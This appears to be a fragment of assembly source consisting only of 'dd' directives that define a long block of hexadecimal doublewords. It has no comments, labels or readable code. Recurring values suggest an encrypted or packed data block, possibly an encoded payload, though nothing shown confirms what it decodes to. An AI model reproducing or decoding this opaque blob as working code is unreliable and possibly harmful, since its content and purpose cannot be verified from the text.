		dd 15630D3Dh, 94004432h, 747786EDh, 1373ACB1h, 1A668E23h
		dd 157763B6h, 1560CB32h, 7AD31132h, 0DDA501C6h,	8D3DC109h
		dd 9069242Ah, 1566110Dh, 156680DBh, 760B8532h, 466C4D19h
		dd 84E39A86h, 0FC609918h, 1566443Bh, 0EDE957C2h, 0DC9802C9h
		dd 14DBDD6Fh, 14664432h, 58F7FDDh, 0B6661132h, 13379FF4h
		dd 0DD63E8DDh, 6ADF54AEh, 2ECBB500h, 0DFEEBB7h,	2FE34B34h
		dd 0ED662232h, 66F94B9h, 459F8E23h, 1566458Ah, 4DA12332h
		dd 15661CDBh, 3E328732h, 0C636949Ch, 4BF62F99h,	46064F1Ch
		dd 156686DBh, 0D3D1AE32h, 1C4D3781h, 2191A80Ch,	4AAE2C1Dh
		dd 4AE37F53h, 1A603AAAh, 156634B7h, 1BEC8732h, 0FC664432h
		dd 1566223Bh, 1F45F4D9h, 0FA58CFBDh, 2CE3CFE6h,	0E960331Ah
		dd 0EA99A863h, 0DA4F77CDh, 905DB86Bh, 137EBA55h, 154D943Dh
		dd 9E9E8832h, 47985B7h,	96694234h, 15661131h, 74377CB2h
		dd 0EA99FE60h, 0C24FDDCDh, 156DF868h, 2A808832h, 5FF34D92h
		dd 953475ABh, 7EE32AC5h, 1A6090AAh, 15661EB7h, 97694232h
		dd 15661131h, 74A76FB2h, 3F17C1B9h, 58F2423h, 12661132h
		dd 6E510447h, 54A69F30h, 700FAFD1h, 0FC99D3EAh,	15668823h
		dd 2C527D5Eh, 2EBBFE1Eh, 0ED77293Ah, 4EC7BD2Fh,	14DE147Ah
		dd 14662232h, 750649F5h, 1566023Dh, 138F4432h, 98662232h
		dd 185D11BDh, 2E07E992h, 0DFE2BB7h, 2CE32D34h, 0ED661132h
		dd 102F0DB9h, 73064223h, 8C87E5B3h, 156601DBh, 1851A32h
		dd 327F6816h, 0B61AB5F6h, 62E80D73h, 0AB30E910h, 15664433h
		dd 1A38D533h, 156616B7h, 14E18732h, 0E9664432h,	8D15A709h
		dd 9069172Ah, 1566882Fh, 1567C23Dh, 0ED9F2232h,	125F94B9h
		dd 99698E23h, 15664433h, 96B9A5CBh, 0CAE110F1h,	62E3B3CBh
		dd 1A605CAAh, 156679B7h, 14E51E32h, 0EC668832h,	1BCBC1B9h
		dd 93692423h, 15661133h, 0BDFD9C7h, 9472B535h, 6D472EDBh
		dd 43AF901Ah, 5C2DB644h, 5B2285B3h, 9427057Ah, 0D2228ADBh
		dd 4CA9A124h, 14EE4B52h, 0ED662232h, 15661DDBh,	6FE3C732h
		dd 97478894h, 0C794BF5h, 1A0670D2h, 0E3DC708Dh,	747832E8h
		dd 8D1DA709h, 9069172Ah, 15668810h, 3CE3CFCAh, 0ED603333h
		dd 153CEF5Ah, 315A0132h, 4A4240CDh, 156EA63Dh, 90691132h
		dd 15668830h, 905D2552h, 137EBA4Dh, 152F943Dh, 9B698832h
		dd 1566443Ah, 1564A73Dh, 74061132h, 24DB0DB9h, 97694223h
		dd 15662226h, 15661EDBh, 0EB67D432h, 80957B9Dh,	800EA38Eh
		dd 411B2B11h, 6B043664h, 0D3E76A45h, 0C4EEA3ADh, 7538E633h
		dd 0BCA70954h, 66DBFB70h, 2E0726BAh, 0DFE96B7h,	5DE38734h
		dd 1A664432h, 156637BEh, 1AED1E32h, 0FC668832h,	15664438h
		dd 10DF6EC2h, 57073441h, 90ED6812h, 137740A7h, 1577CBCBh
		dd 0AB851132h, 0B2EC0A90h, 0FEA5761Eh, 4DB3EE48h, 456F1E11h
		dd 0EA99778Ah, 4DA16DCDh, 489A252h, 2E074884h, 0DFE0BB7h
		dd 96E34B34h, 75662232h, 74D9DDB2h, 243B35B1h, 1A664223h
		dd 156653B7h, 0AF007132h, 4736FD51h, 9E071D68h,	44DFBB7h
		dd 0CD17134h, 156699DBh, 7F397832h, 67C4FFCh, 5EF402DDh
		dd 0A8B3335Bh, 4607343Ch, 0E682D89h, 1385D057h,	481D63B3h
		dd 0D6E71941h, 3C9FB8Eh, 753DCE33h, 15669ADBh, 54254B32h
		dd 0FA1DE00Eh, 0BA671E39h, 5887FCAAh, 7539DF45h, 741691CBh
		dd 1EEC1E53h, 75668832h, 0BFE8758Ch, 0CDDD442Bh, 0A8E570B2h
		dd 1377951Fh, 58E24B32h, 1A662232h, 156616B1h, 14E48732h
		dd 0E9664432h, 8C69A709h, 9069172Ah, 15668806h,	1577AC52h
		dd 0A742232h, 3925DD3Ah, 0B49A141Ch, 0F21F326Eh, 0A7DA0B08h
		dd 9E004B1Ch, 90EDE9F5h, 13774E9Bh, 9E0042CBh, 0CA5770ECh
		dd 0CA577303h, 0E0B9C371h, 0EF79FB1h, 1A661723h, 156413B6h
		dd 1575AD32h, 28542232h, 6AA02A51h, 0B38017CBh,	62D81AD2h
		dd 732CC260h, 9CDB9247h, 15609930h, 1710C03Dh, 0FC062232h
		dd 1566113Bh, 0B0AC7B2Ch, 4040A776h, 9E00719Bh,	2E074BFDh
		dd 0DFE7BB7h, 5BE34B34h, 75662232h, 156614DBh, 0A41B1132h
		dd 0AA6902BBh, 90ED43F8h
		dd 13770F3Fh, 3D8DECEh,	0D43D425Dh, 0C39127D4h,	49809074h
		dd 94387F21h, 221736D4h, 0AAA0A369h, 3C83DCDCh,	1A9ED6C5h
		dd 156654B1h, 1FE22D32h, 0FC661132h, 15668837h,	0CDEF1FA2h
		dd 16E31964h, 1A6009ABh, 1566C4B7h, 78F2432h, 8E662232h
		dd 0A45C8E6Fh, 0F117F17Ah, 92A56A4Fh, 93EC7989h, 8AA690F2h
		dd 74079819h, 0AAB7CE52h, 685AAA9Ch, 64E39A53h,	0FC609900h
		dd 15664434h, 0ECF95059h, 0A833634Dh, 0EA9977CDh, 753BAB1Bh
		dd 1564A63Dh, 90D01132h, 0E2E3B353h, 1A605CAAh,	156615B7h
		dd 0A506E432h, 90EDE985h, 13774103h, 156FA83Dh,	94061132h
		dd 8EE4F7D3h, 1A07BD1Fh, 156623B0h, 0A833E932h,	15668833h
		dd 753BAB33h, 1564A53Dh, 74061132h, 749458B2h, 8C61C109h
		dd 9069242Ah, 1566110Fh, 15668EDBh, 772DB932h, 9E205817h
		dd 47298B7h, 1FEF8734h,	75664432h, 265A4B8Bh, 0D4ED7755h
		dd 0EADFD953h, 3C99BBCDh, 9D697BFDh, 15661134h,	0A23FD952h
		dd 95062575h, 4B30CBFBh, 1EE32A53h, 1A6090ABh, 156610B7h
		dd 1574CB32h, 93741132h, 0CBB51DAAh, 670771EFh,	0E0980BFh
		dd 0FEE5D093h, 1D5B0DB9h, 128F4223h, 0A7662232h, 48B6C005h
		dd 0A8339804h, 2E5226C8h, 1882D7B3h, 0D0E704A9h, 0C43618D1h
		dd 0FC3BAB33h, 15662223h, 91B54AF0h, 0A1B7BBAAh, 2EAF3092h
		dd 0A8018B76h, 0EEE32A2Ah, 1A6090AAh, 156609B7h, 14E42D32h
		dd 0EC661132h, 139F0DB9h, 1F8F4223h, 0FE662232h, 27C3E1B6h
		dd 50164E50h, 0A6DB11EEh, 941E1C7Eh, 0BB24B8DFh, 2DAB0923h
		dd 9405667Ah, 0A72C19DFh, 48893855h, 0E3E7EE52h, 108E973Ah
		dd 35662232h, 36FE457Ch, 48933354h, 905D256Ch, 137EBACDh
		dd 1538943Dh, 95698832h, 15664421h, 156BAE3Dh, 1D8F1132h
		dd 0DD668832h, 0D2FCE428h, 9E0F2003h, 47B18B7h,	7306E834h
		dd 8F3F82B3h, 1569CB53h, 54A11132h, 0C768676Ah,	0C041646Dh
		dd 0D6264DF3h, 926970C3h, 15668834h, 9F391652h,	0AE3543F3h
		dd 15661133h, 0FC3D5733h, 1566443Ah, 63581E8Fh,	0EF47C5E9h
		dd 17EF35B1h, 1A664223h, 156C51B6h, 1568F832h, 0B1CB8832h
		dd 0D71490E4h, 5B523A13h, 122AA7D2h, 8DED0D09h,	9069422Ah
		dd 15662267h, 156619DBh, 7951EF32h, 65F15CF8h, 90EDDE3Eh
		dd 13771367h, 1568023Dh, 1C8F4432h, 0D6662232h,	68D8B567h
		dd 200FB582h, 4DA7C552h, 43098D9Dh, 74394E61h, 15673163h
		dd 0DA674432h, 1575CB6Bh, 9E7E1132h, 25F6F755h,	0C30D3136h
		dd 4A673DD3h, 95AEA86Bh, 0AE3B37Fh, 1A605CABh, 156613B7h
		dd 14E61E32h, 0E0668832h, 31E3C1B9h, 94692423h,	15661133h
		dd 0AB307DCBh, 15664433h, 7538D533h, 1563993Dh,	21DC8832h
		dd 9441B020h, 0E2B4A7EDh, 905D7023h, 137E10BDh,	152DC13Dh
		dd 97692232h, 15661135h, 1567073Dh, 9E9F4432h, 47487B7h
		dd 156BF834h, 0D58C8832h, 80FC9AB4h, 941B0B6Fh,	408DC86Dh
		dd 9F15448Fh, 94B3B34Bh, 0E31DD2FFh, 94BBE64Ch,	1D6684C7h
		dd 48894533h, 15662ADBh, 4B8C4732h, 0E10D8BB2h,	86E37FD7h
		dd 1A603AAAh, 15667DB7h, 14E58732h, 0EC664432h,	18C3A7B9h
		dd 469A1723h, 0BD442B89h, 0CBADC540h, 946E0D65h, 0E9051FD1h
		dd 0F9850975h, 9478265Ah, 0EA4E74F1h, 76959064h, 143F97BAh
		dd 9D691FEDh, 15662202h, 1575F852h, 79BC8832h, 29C4ACEDh
		dd 2B11E807h, 8F52952Dh, 0C2BD0F91h, 1577ADF0h,	0D692232h
		dd 0D21C9D90h, 0F7C148E3h, 368A90CAh, 74EFAFB1h, 82E32ACAh
		dd 1A6090AAh, 15665CB7h, 14EF2D32h, 0ED661132h,	31170DB9h
		dd 439F4223h, 1566238Ch, 4B911032h, 8EE3B3C7h, 1A605CAAh
		dd 156670B7h, 1A937132h, 96077185h, 457198Fh, 90692234h
		dd 1566110Dh, 156698DBh, 1DED4F32h, 22F2405Ah, 0E4323CC1h
		dd 9E959D19h, 44E3CF82h, 75603314h, 1567973Dh, 749F8832h
		dd 1567FF61h, 0CA672232h, 156BF869h, 8F9C8832h,	0ACE6305Bh
		dd 91512D23h, 2EDEDB3Eh, 0DFE17B7h, 4FE34B34h, 0FC662232h
		dd 15661126h, 0F2418ABDh, 9308AAFAh, 0BAA97DEh,	0FF41DE69h
		dd 0E48ACAC7h, 1E4FC1B9h, 0ED9F2423h, 1567AF64h, 0E2678832h
		dd 0BEA4B6Ch, 1A662232h, 156609BEh, 15756132h, 8E7B4432h
		dd 0AE8B5C9Fh, 0C974C21Bh, 580A18F9h, 68CD67E6h, 94694229h
		dd 15661133h, 0E7B008C7h, 0B6E37F53h, 1A603AAAh, 156673B7h
		dd 156E6132h, 3E94432h,	73EC1915h, 0A8E52D07h, 1377B96Fh
		dd 5DE34B32h, 75662232h, 7335DEB9h, 4B21728Ch, 90E3CF53h
		dd 0FC60332Fh, 15661126h, 876CA4ADh, 3E9E9BCEh,	0D5D1B6D0h
		dd 51D169BFh, 21192347h, 15664CDBh, 0EDE5232h, 0E123093Ah
		dd 14DCDA1Dh, 14664432h, 730678E5h, 816CE1B3h, 2E07D165h
		dd 0DFEE3B7h, 52E32D34h, 0FC661132h, 1566883Bh,	0F8E19157h
		dd 984ADAB8h, 0DCE39A9Eh, 0EC609903h, 0EA99FA64h, 0E24FDDCDh
		dd 0EF1E6Ch, 0FC668832h, 15664422h, 4DB3EE48h, 1F6F1E11h
		dd 92F4BF9Fh, 0EAFC2CA2h, 5DA6A352h, 947FB070h,	0E4B098E0h
		dd 905D257Eh, 137EBA99h, 150B943Dh, 94698832h, 1566443Fh
		dd 15662ADBh, 9AE75C32h, 0E21A2366h, 78F2493h, 0FE662232h
		dd 0A6973D0Eh, 0A778AD7Ch, 8D721309h, 494F38D1h, 90ED70CCh
		dd 137783EBh, 1560C03Dh, 95062232h, 749A1ADEh, 15673062h
		dd 0D2674432h, 1DEF2D6Ah, 1A661132h, 15668AB6h,	1A072432h
		dd 156630B7h, 156BF832h, 84128832h, 3608B1DCh, 0DFF94F77h
		dd 2EDCAC9Bh, 0DFE3BB7h, 85E34B34h, 0E9662232h,	243BACB1h
		dd 1A668E23h, 1566C6B7h, 1B8F4232h, 0E5661132h,	0A39EAC02h
		dd 6FB0D6E6h, 0FB03ED3Bh, 15E21E33h, 74668832h,	4FC1B9h
		dd 0FC062423h, 1566113Dh, 0B4F7F96Eh, 4A937D6Dh, 0B9AC2A1Fh
		dd 75950C64h, 156687DBh, 68B3BF32h, 0D72844A7h,	76EF45D7h
		dd 0BB30E795h, 74071A64h, 0EA999C64h, 0E24FEECDh, 1575616Ch
		dd 0DB434432h, 9B8F7084h, 31AADE8h, 6B081E34h, 74DCD51Ah
		dd 9400427Bh, 0FCB317F5h, 15668834h, 5072C60Eh,	2E0707BAh
		dd 0DFEBEB7h, 4BE38734h, 75664432h, 9607F8B9h, 4574C8Fh
		dd 90698834h, 1566447Fh, 156629DBh, 0C4B9FA32h,	23FB20FAh
		dd 0A41BDD62h, 15662EDBh, 0DA8EF332h, 0A765F1F8h, 83CA4E1Ch
		dd 0CE3A9B6h, 1A60002Ah, 156689BCh, 0AF34B132h,	15662233h
		dd 0E93CC633h, 156698DBh, 9E1FC632h, 0D1765EC4h, 88F122Ch
		dd 31BF160Eh, 0A2E37F21h, 1A603AAAh, 156658B7h,	15606132h
		dd 34584432h, 37164F8Eh, 25F394B9h, 94698E23h, 1566443Ah
		dd 73074252h, 74222B88h, 2E2F3163h, 0FCE75412h,	317014BCh
		dd 7FACD0B3h, 0D427B605h, 0FCE740DBh, 4B140B28h, 0F8B9E0B3h
		dd 0DA672C03h, 0A269246Bh, 905D43EAh, 137E8989h, 15010D3Dh
		dd 0FC064432h, 15662237h, 0C869863Fh, 0FEE7EE0Eh, 7507B560h
		dd 749FEAB9h, 3C8B94B9h, 1A068E23h, 156646B6h, 73359232h
		dd 4307E2B9h, 1566898Ch, 4B914532h, 50AEA252h, 156614DAh
		dd 0B1D96432h, 1F8F17AAh, 0BB662232h, 0B5E40118h, 48F9BE40h
		dd 1A071F89h, 156632B3h, 156DF832h, 7E688832h, 4F1478E3h
		dd 9E317AEBh, 0AAE32A56h, 1A6090AAh, 15666AB7h,	90EDDB32h
		dd 1377045Bh, 50DBDDCAh, 940D6F2Dh, 0C1869EF7h,	488910A6h
		dd 156D6152h, 0F9EE4432h, 0C01D6245h, 0B6BFB6CFh, 0FAE7EE3Eh
		dd 2E07E0A1h, 0DFEE1B7h
		dd 9E31E34h, 0ED668832h, 12DBC1B9h, 45932423h, 0EA99EE8Ah
		dd 4DA1A1CDh, 156642DBh, 0DD55E332h, 2E064F78h,	0DFE4FB7h
		dd 28E34B34h, 1A662232h, 156616B2h, 14EF8732h, 0E9664432h
		dd 259FA7B9h, 0E99F1723h, 770D3664h, 0E3E76056h, 0CEFDBFA6h
		dd 0FC38E61Bh, 15668826h, 520178Eh, 8CDF9A1Ch, 0B0B83A56h
		dd 1279BF22h, 2636B49Bh, 8DADA709h, 9069172Ah, 1566887Eh
		dd 156EC33Dh, 91692232h, 15661130h, 90EDE952h, 137751EBh
		dd 0EADC70CBh, 3C99EECDh, 1A06D2E5h, 15664BBBh,	156CCB32h
		dd 81061132h, 14C4BF8Fh, 0E4FA7DF6h, 1576CB65h,	153A1132h
		dd 14E9FC7Ch, 9DEFEF1Dh, 25298E6Bh, 743D10FFh, 8DA90D09h
		dd 9069422Ah, 15662211h, 15661CDBh, 1407CA32h, 60A5603Bh
		dd 544B2C62h, 90EDF774h, 13778E73h, 0EADD17CBh,	3C99DDCDh
		dd 2E9F4AEDh, 0DFE5BB7h, 41E34B34h, 75662232h, 15609B3Dh
		dd 9B698832h, 15664432h, 0E6ED4464h, 1E8F706Ch,	77668832h
		dd 0BBCCD380h, 0D2F1D753h, 90ED7196h, 1377AACFh, 0D0DC2252h
		dd 0E5E744DDh, 4007623Eh, 834E1E8Fh, 0C593C53Fh, 94416851h
		dd 887C30D7h, 0F0A7C511h, 0EAA3C53Ah, 3C05D432h, 2E9F4CDDh
		dd 44FD9B7h, 2DE34B34h,	75662232h, 15661BDBh, 0E4030032h
		dd 85F65BD8h, 74D669C9h, 217794B9h, 40938E23h, 0EA99BB8Fh
		dd 48890BCDh, 156603DBh, 0CB060732h, 1C9BEB7Eh,	0D0A8501Ah
		dd 0E268AB6Eh, 2E4BE5C1h, 0DFE93B7h, 41E32D34h,	75661132h
		dd 156699DAh, 0A87BB432h, 0E679E134h, 7A60C0C7h, 82FEA04Dh
		dd 4B9A7AC2h, 0DCE3A953h, 0FC600000h, 15668826h, 0CE39776Ch
		dd 3D87CB7Dh, 4C922EA8h, 4128A8C2h, 0CAA967AAh,	15679B63h
		dd 0DA671132h, 156B616Bh, 945B4432h, 0EA60C32Dh, 1857A9C4h
		dd 2E368A9Ch, 0DFF57B7h, 66E32D34h, 0FC661132h,	1566883Ah
		dd 6AD75F6Dh, 0DBBA85C8h, 8C7DACB1h, 1A668E2Ah,	15666BB7h
		dd 1560CB32h, 5F341132h, 903B1142h, 7D7F9B1h, 1A662423h
		dd 156650B6h, 12E48732h, 1A664432h, 156623B1h, 0AA06E432h
		dd 4BFFD86Ah, 749CF33Dh, 1E07A7B9h, 95691723h, 15668836h
		dd 7422F552h, 0EA999961h, 0CA4FEECDh, 1EEB8769h, 75664432h
		dd 9454E0B2h, 5493E0D9h, 905DE90Eh, 137EDD25h, 15EAA73Dh
		dd 1D8F1132h, 3B668832h, 0AFCE2B4Bh, 960B3BF0h,	0DFF0A8Fh
		dd 90698834h, 15664403h, 1567AE3Dh, 0ED9A1132h,	7D735B1h
		dd 1A664223h, 15667FB6h, 0E01E32h, 75668832h, 156648DBh
		dd 0C7DC3A32h, 9C758D61h, 8CB0FB92h, 740724B9h,	54E3A9CAh
		dd 7560002Dh, 2C434FB3h, 9400730Ch, 74C2D6D2h, 156F963Dh
		dd 47068832h, 0F2E72268h, 430708C7h, 1566108Ch,	4B918932h
		dd 156655DBh, 50BF1332h, 2BE1C109h, 1C74861Dh, 0D56A1E25h
		dd 905D1C7Ah, 137E89E9h, 154D0D3Dh, 91694432h, 1566223Ah
		dd 1564973Dh, 74068832h, 3503C1B9h, 439A2423h, 1566108Ch
		dd 4B918932h, 1561CC3Dh, 90692232h, 15661133h, 0CAE3B3C7h
		dd 1A605CAAh, 156610B7h, 12E61E32h, 1A668832h, 156645B7h
		dd 90EDDE32h, 13771F33h, 156E033Dh, 95694432h, 15662230h
		dd 0A8337052h, 15668833h, 753BAB33h, 0AF008183h, 2E07411Eh
		dd 0DFE6BB7h, 43E34B34h, 0ED662232h, 33B394B9h,	78F8E23h
		dd 9B664432h, 0EAA9E104h, 0EC03112Bh, 0FE7FE057h, 496C7ADAh
		dd 0EDC70A3h, 0E231A96Eh, 138C49E8h, 63358EB3h,	0D7E77585h
		dd 0F201D19h, 0D7E752C5h, 649BCF3Bh, 1A3CF51Bh,	156601BCh
		dd 1FEF8732h, 0FC664432h, 15662237h, 0A299DC3Ch, 0F2E3B377h
		dd 1A605CAAh, 156660B7h, 19EA1E32h, 1A668832h, 156642B8h
		dd 15E02D32h, 9E661132h, 44469B7h, 198F2434h, 4C662232h
		dd 0AB392163h, 130E34B4h, 74D65FB2h, 15679961h,	0CA671132h
		dd 156E6169h, 0D2144432h, 177688ABh, 2E939AE0h,	0DFE63B7h
		dd 2AE34B34h, 0E0662232h, 34EF94B9h, 96698E23h,	1566443Ah
		dd 1564A63Dh, 74061132h, 7C8A3361h, 0CE9103A0h,	0D6E7C9E3h
		dd 0B6AF25C5h, 0FC3D5733h, 15664420h, 3AEAAF3Eh, 0EA3A69FEh
		dd 378F167Eh, 76093E56h, 905D549Fh, 137E89DDh, 155C0D3Dh
		dd 9E694432h, 15662233h, 14EC1ECAh, 0E9668832h,	1733C1B9h
		dd 829F2423h, 4A364672h, 12E6876Ah, 1A664432h, 156623B1h
		dd 188FED32h, 48668832h, 82A8B08Ch, 0BBF357E4h,	5846D4A8h
		dd 91697739h, 1566440Dh, 68E4252h, 9F661132h, 52E14709h
		dd 0CF662C54h, 3943A60Ch, 2F942E1Ah, 0AE3C6C24h, 2D3D76FEh
		dd 99697253h, 15661132h, 558FE96Bh, 1A99BBDEh, 156628BAh
		dd 0E3DC7132h, 1A037A76h, 2E07878Dh, 466B3B7h, 4DE31E34h
		dd 0EC668832h, 0FE7C1BFh, 0FD06242Ah, 15661139h, 9AB25EAh
		dd 734D0828h, 0FCADBD86h, 1566113Ch, 0D62DD436h, 0A7969FA0h
		dd 125F933Fh, 0FC38A1E1h, 1566883Eh, 572B7E21h,	0FAA85E66h
		dd 58C9996h, 0FE876153h, 58FBBCDh, 87662232h, 58EBEE91h
		dd 0DA629A79h, 0C1675604h, 2EE9B9F5h, 44754B7h,	64E38734h
		dd 0EC664432h, 8D5D9FB1h, 1A67172Ah, 1566EBB7h,	156AAD32h
		dd 6AFD2232h, 0A6DE4996h, 0F024A75h, 976905B6h,	15662238h
		dd 15E91E52h, 45668832h, 90EB2568h, 153F2955h, 156A993Dh
		dd 128F8832h, 0F6664432h, 45AECBE6h, 618F5449h,	0FC9977D9h
		dd 15664438h, 5CA18047h, 1F3CDC19h, 0FC068562h,	1566443Fh
		dd 6466873Ch, 0FD81167Fh, 44636F68h, 74B6CF76h,	8D2DA709h
		dd 9169172Ah, 1566881Bh, 5AE37FC7h, 1A603AAAh, 156633B7h
		dd 3ED8732h, 0FC664432h, 15662223h, 7EC5CF33h, 36BFAF66h
		dd 0B3CC9B6Ch, 374E7B0Eh, 0FE73F81Fh, 459F77CDh, 0FA7CF88Ah
		dd 10B6D530h, 74220C43h, 0CD93765h, 0E2E746C2h,	49C33939h
		dd 9C39E903h, 0AD06D0F4h, 4FE134FDh, 1565AA3Dh,	0A2691132h
		dd 0EBE5E9F0h, 0F8E34B33h, 0FC662232h, 15661126h, 0E8674502h
		dd 8D08AC09h, 2693C7DFh, 0BD5A168Eh, 1E631D3h, 8D59C109h
		dd 9069242Ah, 15661174h, 0DDE7EE52h, 9E001175h,	9E6943CAh
		dd 15661134h, 7538D852h, 90EB2553h, 153EA5F6h, 156617DBh
		dd 0E2F3DC32h, 75FDBF72h, 8FBCA354h, 97AEAE2Fh,	0FC079F98h
		dd 0EA99AE4Dh, 156EA63Dh, 91691132h, 15668830h,	905D2552h
		dd 137EBA71h, 154D943Dh, 188F8832h, 5A664432h, 9975D3BEh
		dd 3B4DC5C7h, 23EBD693h, 9D5CC1BFh, 0FC9E226Ah,	0EA99FB75h
		dd 11EE8752h, 73664432h, 0ED1C1F8Ch, 52E32A53h,	1A6090AAh
		dd 15667BB7h, 2E92D32h,	75661132h, 80B2788Dh, 156DAD16h
		dd 212F2232h, 66412BBh,	0E5A362E5h, 90EB254Eh, 153EAA4Dh
		dd 156600DBh, 912C6632h, 0F05CBFC3h, 93E7902Eh,	0AE0116FFh
		dd 0E58F7CC9h, 0ED99BBDBh, 43A0AB64h, 7D4225B3h, 4D4E3308h
		dd 0AE5C2C07h, 138F7C1Ah, 3C661132h, 9AFF1A9Bh,	17DC166Eh
		dd 46662232h, 0CBEFC2BBh, 198FD269h, 81664432h,	0BF71BBB8h
		dd 0BB9B231Ch, 1EC98C40h, 21E34BC4h, 0FC662232h, 1566113Bh
		dd 0C72FA7h, 31DC1653h,	0FCE4CB48h, 9506EECDh, 9B69F7EDh
		dd 15664424h, 156633DBh, 7FC8F432h, 0C3D827C5h,	432E2C0Ch
		dd 216660B3h, 45071044h, 97428CB3h, 9E0FDC7Fh, 0D1E70606h
		dd 15661136h, 58E466B3h, 9E692DAAh, 15662233h, 0D4D398C7h
		dd 75609902h, 1C3DFF54h, 15662BDAh, 14126932h, 396F9194h
		dd 7406F17Eh, 0A0EF436Ah
		dd 13771FC3h, 14E787CBh, 0E0664432h, 1A8F1CB2h,	1566B8B7h
		dd 63997D32h, 315ACF33h, 7562E6B1h, 4407F386h, 32768A8Bh
		dd 4CA96D17h, 0D2E7D533h, 30410130h, 78F7152h, 0B664432h
		dd 35CB9F68h, 0CCF7C857h, 52548057h, 0B2BA8AD9h, 0F10E432Ch
		dd 9C66111Eh, 0ED3DAC06h, 2A5FD63h, 0C49110DAh,	288F9073h
		dd 14AB9F9Ah, 2E931DF9h, 456E38Fh, 36E41E34h, 75668832h
		dd 0D6E72264h, 743D463Bh, 9369EA09h, 15668804h,	156641DBh
		dd 3C08F932h, 7306031Ah, 0A26943B9h, 908F25F5h,	1A99DDDAh
		dd 156608B4h, 15726132h, 48224432h, 7CD7FF30h, 0BF35F163h
		dd 80D92BE0h, 21BCB92h,	0A8EDCF5Ch, 13772013h, 44E34FCAh
		dd 15605538h, 0EC662232h, 0A0EFED52h, 137786C3h, 156655DBh
		dd 13D5EB32h, 3CAB795Bh, 21BD1E3Fh, 0A86C3D91h,	1F8F5BAFh
		dd 0EC661132h, 43F1C647h, 2EA85494h, 0F0FBAFF1h, 0E960082Ch
		dd 96695BCDh, 15664435h, 72379952h, 1E071CCEh, 1E287F2h
		dd 0E0664432h, 1566AFDBh, 95697132h, 15668836h,	89E9FC54h
		dd 9807E8B9h, 3E1E7AFh,	0C6997434h, 0EAF2C73Dh,	9B69DDCDh
		dd 1566113Fh, 156680DBh, 23E6CF32h, 25BE312Fh, 0E4D39AEEh
		dd 1A60993Ch, 156655B8h, 156ACB32h, 8931132h, 0CD24E1E2h
		dd 473B10DBh, 0A0EF2CECh, 13771B63h, 1574073Dh,	188F4432h
		dd 17662232h, 0C80A1178h, 1B04E2B9h, 0D574CB9Dh, 0BBAEBFBFh
		dd 0EA9E1725h, 78FE8E1h, 92664432h, 0C213267h, 285CF24Ah
		dd 91CBD189h, 7BAAE170h, 90ED43A6h, 137721F3h, 0E4E301CAh
		dd 7560553Ch, 0AD00EAB9h, 0FC077D13h, 15668834h, 0E475E02Ah
		dd 1A07281Ah, 15661BB8h, 15636132h, 0CDEB4432h,	95D09568h
		dd 9069F90Ch, 15668910h, 0F1DD2252h, 5C869BAAh,	96076009h
		dd 46AE58Fh, 91694434h,	15662338h, 0FBA59152h, 0E6E7E853h
		dd 4C2D210Eh, 8CA6A354h, 0A03770A7h, 9E8E00DBh,	0D1E5603Eh
		dd 1572CB36h, 0AB301132h, 0E28A800Dh, 9682CBA3h, 10EE8EEh
		dd 0FF39AD99h, 1ACC372Fh, 15665EB8h, 1EF2D32h, 0FC661132h
		dd 1566883Dh, 56ADA9FCh, 0F122EAEFh, 17A47CD4h,	438438AEh
		dd 964240B9h, 440626F6h, 0CB5FD2B3h, 753EA31Bh,	3A75FE54h
		dd 0C884A354h, 420770AFh, 2E1F128Dh, 4A9E452Fh,	8F4BDA1Bh
		dd 1A7B2A4Bh, 156685BBh, 9D692432h, 15662232h, 0F0AD998Bh
		dd 0F9E5E965h, 3152CD36h, 1566268Ch, 4B963832h,	15726052h
		dd 5D4B4432h, 9D8940D7h, 5265AD7Dh, 0A2183FA0h,	0D57DB448h
		dd 9869A6B3h, 15661132h, 15686169h, 502C4432h, 134AF91Ch
		dd 0DE225C6Eh, 0D77DF20Ah, 138FEF53h, 0B6662232h, 0A8C1C076h
		dd 0AD3E8EAh, 4D8F25C7h, 75662230h, 0FDADAE3Dh,	1566883Fh
		dd 0C16CE212h, 5E4B2A84h, 4090900h, 0EDD98757h,	88EB256Dh
		dd 137F2663h, 15689C3Dh, 94068832h, 0DCFBDFECh,	15E12D3Dh
		dd 74661132h, 198F5BCDh, 17664432h, 584E588Dh, 71F10D0Ah
		dd 0EDE211ABh, 0D90D9BFh, 68F242Bh, 15661132h, 3694B612h
		dd 52A739DBh, 0E747FE42h, 58035D4Eh, 0C699C281h, 1AA64FC7h
		dd 15663CB7h, 7E81E32h,	0FC668832h, 1566443Fh, 39FF5346h
		dd 0EB1E5F8Eh, 0EC20C2F2h, 154DADF2h, 969E2232h, 468E0B7h
		dd 0FC938D34h, 0EA99BA61h, 0CDE74452h, 1A8E1F64h, 3B668832h
		dd 9E02BDD0h, 0AFDD6A81h, 8E3ECCA1h, 4F9F1DECh,	70FBC953h
		dd 75603B29h, 85D8F3B3h, 9E69CC8Eh, 15664434h, 0D5A6EAB3h
		dd 1A07431Ah, 156694B1h, 0AF002432h, 48FC838h, 7D661132h
		dd 0A57D0834h, 6E73C759h, 0C8E2949Ah, 0F2FE8921h, 75B57753h
		dd 4D7EF162h, 1AA62953h, 156638B7h, 7C8F7032h, 75664432h
		dd 156629DAh, 23A59E32h, 4E2004DCh, 0D4F8F065h,	4E0F9954h
		dd 1561F86Ch, 0B6038832h, 28B4108Ah, 40364371h,	0BA7FEA8Fh
		dd 0A9AB093Dh, 9479661Bh, 5842DCF7h, 0EC93900Ch, 9C3B746Ch
		dd 0D76719DAh, 1560CB6Ah, 0EBFC1132h, 339EBC40h, 1566BEDBh
		dd 4ED2D32h, 1A661132h,	156683BDh, 1560AD32h, 233C2232h
		dd 0D1C05385h, 929015BFh, 0FC9E4224h, 15662235h, 0FE946745h
		dd 0EADCD339h, 30E54BE1h, 0E0662232h, 1B97A4B9h, 0FC9F8E23h
		dd 15666966h, 156630DBh, 71048932h, 0B67E4E88h,	0C709074Fh
		dd 5C746C84h, 0E0E388BAh, 1B9705B9h, 1B8F4223h,	0A662232h
		dd 0F0C3240Bh, 332C40Fh, 24EDF67Ch, 0A0EFDEACh,	13771FC3h
		dd 13EA8752h, 1A664432h, 156622B9h, 0D4E77732h,	4307DE5Ah
		dd 0C529488Ch, 4B972362h, 0FCE7E01Bh, 45B6C73Eh, 1568C13Dh
		dd 1C8F2232h, 0B1661132h, 36B18A6Dh, 0CD1ABACEh, 0EA99E3B3h
		dd 0C491EECDh, 0D98809C7h, 3C55141Ah, 0A9DF73FCh, 9457DF60h
